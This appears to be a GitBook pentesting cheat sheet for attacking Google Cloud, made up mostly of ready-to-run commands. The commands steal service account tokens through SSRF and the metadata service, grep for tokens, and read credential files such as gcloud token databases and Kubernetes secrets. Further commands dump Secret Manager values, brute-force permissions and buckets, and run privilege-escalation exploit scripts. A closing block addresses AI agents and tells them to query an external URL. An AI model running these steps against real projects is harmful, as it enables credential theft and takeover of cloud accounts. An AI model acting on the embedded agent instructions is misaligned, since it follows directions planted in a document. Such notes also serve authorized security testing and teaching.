# GCP

Three Main Components of Google Cloud are:

* Cloud Identity
* Google Workspace
* Google Cloud Platform

### Reminder: Add basic concepts

## Attack Vectors

Attackers can obtain GCP credentials through multiple vectors:

* Exploiting web apps hosted on GCP
  * SSRF → Access metadata service
  * RCE → Dump environment variables, application config files, or mounted service account keys
* Open Source Intelligence (Leaked service account keys on GitHub, GitLab, or public repos)
* Phishing / Social Engineering
* Public GCS buckets containing service account keys or JSON credential files.

### Stealing Service Account Tokens via SSRF

* Send request to `http://169.254.169.254` or `http://metadata.google.internal/` along with header `Metadata-Flavor: Google`.
* To send this header along with the request, we use gopher protocol.

```
git clone https://github.com/eMVee-NL/SSRF2gopher.git --depth 1
python3 SSRF2gopher.py -u <url> -p <port> -e <endpoint> -m <method> -H "Metadata-Flavor: Google." "Content-Type:application/json"
```

* Example: `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/`

> Some SSRF filters only allow <http://metadata.google.internal/> instead of raw IP. Both resolve to the metadata service.

### Stealing Service Account Tokens via RCE

* Check environment variables:

```shell
env | grep -i google
```

* Check for credential files:

```shell
# Service account keys or tokens
grep -iER 'ya29' / 2>/dev/null
grep -iER 'https://oauth2.googleapis.com/token' / 2>/dev/null | grep .json

# Application default credentials
cat /etc/google/auth/application_default_credentials.json
cat /root/.config/gcloud/application_default_credentials.json

# gcloud CLI stored tokens (if installed)
cat ~/.config/gcloud/credentials.db
cat ~/.config/gcloud/access_tokens.db

# Kubernetes ServiceAccount token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
```

* Query the Metadata Service (VMs, GKE, some managed services):

```shell
# List available service accounts
curl -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/"

# Get token for the default service account
curl -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token"

# Get token for a specific service account
curl -H "Metadata-Flavor: Google" \
    "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/<service_account>/token"
```

## Authentication

* Login with Gmail account:

```shell
gcloug auth login
```

* Authenticate using Service Account key file:

```shell
gcloud auth activate-service-account --key-file=service_account_json_file.json
```

* Use an access token file:

```shell
gcloud <command> --access-token-file token.txt
```

* Send token directly with curl:

```shell
curl -s -X GET \
    -H "Authorization: Bearer $(cat token.txt)" \
    "https://iam.googleapis.com/v1/projects/-/serviceAccounts"
```

* Authenticate with Google HMAC credentials:

```shell
gsutil config -a
```

> By default, gsutil reuses gcloud credentials. If you want gsutil to use only HMAC creds and not your gcloud login, disable credential passing: `gcloud config set pass_credentials_to_gsutil false`

Check current authentication details:

```shell
gcloud auth list
```

Show active configuration:

```shell
gcloud config list
```

## Enumeration

### Organization Enumeration

```shell
# List organizations available to current account:
gcloud organizations list

# Get IAM policy for an organization
gcloud organizations get-iam-policy <org_id>

# List folders under an organization
gcloud resource-manager folders list --organization=<org_id>

# List projects under an organization
gcloud projects list --filter="parent.id=<org_id>"
```

> If you have only project-level access, you may not see org info. Try enumerating projects and their parent orgs with:

```shell
gcloud projects describe <project_id> --format="value(parent.id)"
```

### Project Enumeration

```shell
# List all accessible projects
gcloud projects list

# Set active project
gcloud config set project <project_id>

# Get IAM policy for a project
gcloud projects get-iam-policy <project_id>

# List APIs/services enabled on the project
gcloud services list --enabled --project <project_id>

# Describe a project (to get parent org/folder)
gcloud projects describe <project_id>
```

### Service Accounts Enumeration

```shell
# List all service accounts in the active project
gcloud iam service-accounts list

# Get IAM policy (who can impersonate / use this service account)
gcloud iam service-accounts get-iam-policy <service_account_email>

# List keys associated with a service account
gcloud iam service-accounts keys list --iam-account <service_account_email>

# Check roles assigned to a specific service account
gcloud projects get-iam-policy <project_id> \
    --flatten="bindings[].members" \
    --filter="bindings.members:serviceAccount:<account_email>" \
    --format="value(bindings.role)"

# Check which resources our owned service account can access
# Use grep to filter out buckets, cloudfunctions etc
gcloud asset search-all-resources --scope="projects/<project_id>" --filter="NOT state:DELETED" --format="table(assetType, name)"
```

### IAM Roles & Service Account Permissions

```shell
# List all predefined roles
gcloud iam roles list

# Describe a predefined role
gcloud iam roles describe <roles/owner>

# List custom roles for a project
gcloud iam roles list --project <project_id>

# Describe a custom role in a project
gcloud iam roles describe <role_name> --project <project_id>

# Check permissions
git clone https://github.com/egre55/gcp-permissions-checker;
python3 gcp_perm_checker.py -Token "$(cat ~/token.txt)" -ProjectID <project_id>

# Clone GCP IAM brute tool (for brute-forcing permissions)
git clone https://github.com/hac01/gcp-iam-brute.git

python3 main.py \
  --access-token $(gcloud auth print-access-token) \
  --project-id $(gcloud config get-value project) \
  --service-account-email $(gcloud auth list --filter=status:ACTIVE --format="value(account)")

# Loop through service accounts and check IAM policy
for sa in $(gcloud iam service-accounts list --format="value(email)"); do
  echo "[*] Checking $sa"
  gcloud iam service-accounts get-iam-policy "$sa"
done

# Extract service accounts from project IAM policy
gcloud projects get-iam-policy <project_id> \
  --format="flattened(bindings[].members)" \
  | grep 'serviceAccount:' \
  | awk -F'serviceAccount:' '{print $2}' \
  | sort -u > serviceaccounts.txt

# Test sensitive permissions on each service account
for sa in $(cat serviceaccounts.txt); do
  echo "[*] Checking $sa"
  curl -s -X POST \
    -H "Authorization: Bearer $(gcloud auth print-access-token)" \
    -H "Content-Type: application/json" \
    -d '{
          "permissions": [
            "iam.serviceAccounts.getAccessToken",
            "iam.serviceAccountKeys.create",
            "iam.serviceAccounts.signBlob",
            "iam.roles.update",
            "iam.serviceAccounts.signJwt",
            "iam.serviceAccounts.implicitDelegation",
            "iam.serviceAccounts.actAs"
          ]
        }' \
    "https://iam.googleapis.com/v1/projects/-/serviceAccounts/$sa:testIamPermissions"
done
```

### Services Enumeration

```shell
# ---------------------------------------------------
# Secret Manager (roles/secretmanager.secretAccessor)
# ---------------------------------------------------
gcloud secrets list
gcloud secrets versions list <secret_name>
gcloud secrets versions access latest --secret=<secret_name>
gcloud secrets versions access <version_number> --secret=<secret_name>

# Getting secrets from all regions
ACCESS_TOKEN=$(cat ~/token.txt)
PROJECT="project_id"
REGIONS=(
  asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1
  asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2
  europe-central2 europe-north1 europe-west1 europe-west2 europe-west3 europe-west4
  europe-west6 me-central1 me-west1 northamerica-northeast1 northamerica-northeast2
  southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-west1 us-west2 us-west3 us-west4
)
for REGION in "${REGIONS[@]}"; do
  URL="https://secretmanager.${REGION}.rep.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/secrets"
  echo "[*] $REGION"
  curl -s -H "Authorization: Bearer $ACCESS_TOKEN" "$URL" \
    | jq -r '.secrets[]?.name' 2>/dev/null
done
# Getting secrets values
REGION="region"
PROJECT_NUM="project_id"
SECRET="secret_name"
ACCESS_TOKEN=$(cat ~/token.txt)
curl -s \
  -H "Authorization: Bearer ${ACCESS_TOKEN}" \
  "https://secretmanager.${REGION}.rep.googleapis.com/v1/projects/${PROJECT_NUM}/locations/${REGION}/secrets/${SECRET}/versions/latest:access" \
  | jq

# --------------------------------------------
# Cloud SQL (roles/cloudsql.viewer + DB creds)
# --------------------------------------------
gcloud sql instances list
mysql -h <ip_address> -u <username> -p
psql "host=<ip> port=<port> user=<username> dbname=<db_name> sslmode=require"

# -----------------------------------------------
# Cloud Source Repositories (roles/source.reader)
# -----------------------------------------------
gcloud source repos list --access-token-file=access_token.txt

# ------------------
# Artifact Registry
# ------------------
gcloud artifacts repositories list
gcloud artifacts docker images list <location>-docker.pkg.dev/<project_id>/<repo_name>
gcloud auth configure-docker <location>-docker.pkg.dev
docker pull <location>-docker.pkg.dev/<project_id>/<repo_name>/<image_name>@sha256:<sha256_hash>

# ---------------------
# Cloud Storage Buckets
# ---------------------
# Bruteforce bucket names using token
python3 gcpbucketbrute.py -f token_file -k <keywords> -s 10

# List buckets and objects
gcloud storage ls gs://<bucket_name>
gcloud cp gs://<bucket_name>/<file_path> <local_path>

gsutil ls
gsutil ls gs://<bucket_name>
gsutil cp gs://<bucket_name>/<file_path> <local_path>

# --------------
# Compute Engine
# --------------
gcloud compute instances list
gcloud compute instances describe <vm-name> --zone=<zone> 
gcloud compute ssh <vm-name> --zone=<zone>
gcloud compute instances start <vm-name>
gcloud compute ssh <vm-name> --ssh-key-file <key_path> --tunnel-through-iap
gcloud compute ssh <vm-name> --ssh-key-file <key_path> --tunnel-through-iap --ssh-flag '-L local_port:remote_host:remote_port'

# ----------------
# Cloud Functions
# ----------------
gcloud functions list --access-token-file=access_token.txt
gcloud functions describe <function_name> --region=<region> --access-token-file=access_token.txt

# ----------------
# HMAC Credentials
# ----------------
gcloud storage hmac list
gcloud storage hmac describe ACCESS_ID
gcloud storage hmac create SERVICE_ACCOUNT_EMAIL
```

## Privilege Escalation & Lateral Movement

### Implicit Delegation (iam.serviceAccounts.implicitDelegation)

* This permission allows a service account to impersonate another service account without requiring explicit roles/iam.serviceAccountTokenCreator permissions.
* It works by letting an attacker delegate access from an account they already control to a more privileged service account.

```shell
# Exploit script:
# https://raw.githubusercontent.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/refs/heads/master/ExploitScripts/iam.serviceAccounts.implicitDelegation.py

python3 iam.serviceAccounts.implicitDelegation.py <owned_service_account_email> <target_service_account_email>
```

### signJWT (iam.serviceAccounts.signJwt)

* This permission allows signing of arbitrary JWTs (JSON Web Tokens) on behalf of a service account.
* JWTs can then be exchanged with Google’s OAuth2 endpoint for valid access tokens, essentially allowing the attacker to impersonate the service account.

```shell
# Exploit script:
# https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.signJWT.py

python3 iam.serviceAccounts.signJWT.py <service_account_email> <project_id>
```

### Service Account Impersonation (iam.serviceAccountTokenCreator)

* It allows a principal (user, service account, or group) to impersonate service accounts by generating tokens/credentials on their behalf.

```shell
gcloud --impersonate-service-account=<service_account_email> auth print-access-token
```

### Useful Links

```shell
https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/index.html
https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation
https://github.com/RhinoSecurityLabs/GCPBucketBrute
https://gitlab.com/gitlab-com/gl-security/security-operations/redteam/redteam-public/pocs/gcp_enum/-/blob/master/gcp_enum.sh?ref_type=heads
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://v0id.gitbook.io/notes/cloud-pentesting/gcp.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
